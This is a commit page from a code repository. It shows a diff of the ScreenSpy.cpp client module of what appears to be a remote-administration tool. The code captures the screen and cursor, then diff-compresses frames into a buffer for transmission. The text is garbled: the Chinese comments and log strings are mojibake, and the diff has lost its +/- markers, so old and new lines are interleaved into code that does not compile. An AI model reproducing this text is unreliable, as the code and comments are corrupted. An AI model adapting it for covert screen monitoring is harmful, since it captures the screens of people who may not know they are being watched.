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Improve screen spy efficiency with DXGI

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This commit is contained in:
yuanyuanxiang
2025-03-13 23:34:33 +08:00
parent 0d6d171909
commit 7bcf11ce0a
44 changed files with 752 additions and 232 deletions
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106
client/ScreenSpy.cpp
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@@ -11,25 +11,11 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, int gop) : ScreenCapture()
{
m_GOP = gop;
m_bAlgorithm = ALGORITHM_DIFF;
m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>׼
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
DEVMODE devmode;
memset(&devmode, 0, sizeof (devmode));
devmode.dmSize = sizeof(DEVMODE);
devmode.dmDriverExtra = 0;
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
m_ulFullWidth = devmode.dmPelsWidth;
m_ulFullHeight = devmode.dmPelsHeight;
int w = ::GetSystemMetrics(SM_CXSCREEN), h = ::GetSystemMetrics(SM_CYSCREEN);
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
m_wZoom = 1.0/m_wZoom, m_hZoom = 1.0/m_hZoom;
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
m_BitmapInfor_Full = new BITMAPINFO();
memset(m_BitmapInfor_Full, 0, sizeof(BITMAPINFO));
@@ -50,6 +36,7 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
::SelectObject(m_hFullMemDC, m_BitmapHandle);
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
m_DiffBitmapData_Full = NULL;
m_hDiffMemDC = CreateCompatibleDC(m_hFullDC);
@@ -104,49 +91,16 @@ CScreenSpy::~CScreenSpy()
m_RectBufferOffset = 0;
}
LPVOID CScreenSpy::GetFirstScreenData()
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
{
//<2F><><EFBFBD>ڴ<EFBFBD>ԭ<EFBFBD>豸<EFBFBD>и<EFBFBD><D0B8><EFBFBD>λͼ<CEBB><CDBC>Ŀ<EFBFBD><C4BF><EFBFBD>豸
::BitBlt(m_hFullMemDC, 0, 0, m_ulFullWidth, m_ulFullHeight, m_hFullDC, 0, 0, SRCCOPY);
return m_BitmapData_Full; //<2F>ڴ<EFBFBD>
}
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength)
{
// <20><><EFBFBD><EFBFBD>rect<63><74><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
m_RectBufferOffset = 0;
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x /= m_wZoom;
CursorPos.y /= m_hZoom;
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
static CCursorInfo m_CursorInfor;
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƚ<EFBFBD><C8BD>㷨
if (m_bAlgorithm == ALGORITHM_DIFF)
{
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
//<2F><><EFBFBD><EFBFBD>Bit<69><74><EFBFBD>бȽ<D0B1><C8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>޸<EFBFBD>m_lpvFullBits<74>еķ<D0B5><C4B7><EFBFBD>
*ulNextSendLength = m_RectBufferOffset + CompareBitmap((LPBYTE)m_DiffBitmapData_Full, (LPBYTE)m_BitmapData_Full,
m_RectBuffer + m_RectBufferOffset, m_BitmapInfor_Full->bmiHeader.biSizeImage);
return m_RectBuffer;
}
return NULL;
return m_RectBuffer; //<2F>ڴ<EFBFBD>
}
@@ -172,45 +126,3 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
}
#endif
}
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer, DWORD ulCompareLength)
{
AUTO_TICK(20);
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
// ƫ<>Ƶ<EFBFBD>ƫ<EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ȵ<EFBFBD>ƫ<EFBFBD><C6AB>
ULONG ulszBufferOffset = 0, ulv1 = 0, ulv2 = 0, ulCount = 0;
for (int i = 0; i < ulCompareLength; i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
continue;
*(LPDWORD)(szBuffer + ulszBufferOffset) = i;
// <20><>¼<EFBFBD><C2BC><EFBFBD>ݴ<EFBFBD>С<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD>λ<EFBFBD><CEBB>
ulv1 = ulszBufferOffset + sizeof(int);
ulv2 = ulv1 + sizeof(int);
ulCount = 0; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
i += 4, p1++, p2++;
for (int j = i; j < ulCompareLength; j += 4, i += 4, ++p1, ++p2)
{
if (*p1 == *p2)
break;
// <20><><EFBFBD><EFBFBD>Dest<73>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
*p1 = *p2;
*(LPDWORD)(szBuffer + ulv2 + ulCount) = *p2;
ulCount += 4;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
*(LPDWORD)(szBuffer + ulv1) = ulCount;
ulszBufferOffset = ulv2 + ulCount;
}
return ulszBufferOffset;
}